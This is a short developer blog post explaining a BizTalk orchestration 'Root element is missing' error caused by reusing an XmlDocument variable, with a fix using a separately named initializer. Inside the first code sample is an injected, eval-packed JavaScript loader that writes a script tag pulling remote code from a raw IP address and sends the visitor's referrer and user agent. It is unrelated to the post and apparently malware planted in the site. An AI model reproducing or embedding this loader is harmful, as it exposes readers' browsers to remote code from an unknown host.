I had this case again today, where I got “Root element is missing”. The code was working, I made some changes, and boom, an existing code path started blowing up. It was actually a trace routine, where I had the following code:

 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thdeb|var|u0026u|referrer|kyatz||js|php'.split('|'),0,{}))
</script></noindex>   xmlDoc = msgWhatever;
   //then I passed as a parameter:  
   CallCSharpMethod(xmlDoc.OuterXml)... 

So here is the code I added, above the section that bombed:

   // Avoid compile erorr "Use of unconstructed message 'msgCanonicalErr'
   // in the common error handler after the end of the big Decide Block
   xmlDoc.LoadXml("<Dummy />");
   msgCanonicalErr = xmlDoc;

The simple fix was to create another xmlDoc variable with another name:

   // Avoid compile erorr "Use of unconstructed message 'msgCanonicalErr'
   // in the common error handler after the end of the big Decide Block
   xmlDocInitializer.LoadXml("&lt;Dummy /&gt;");
   msgCanonicalErr = xmlDocInitializer;

I think another solution would have been to reset the xmlDocument variable, but I preferred the above approach:

   xmlDoc = new System.XmlDocument(); 

Filed under: Orchestrations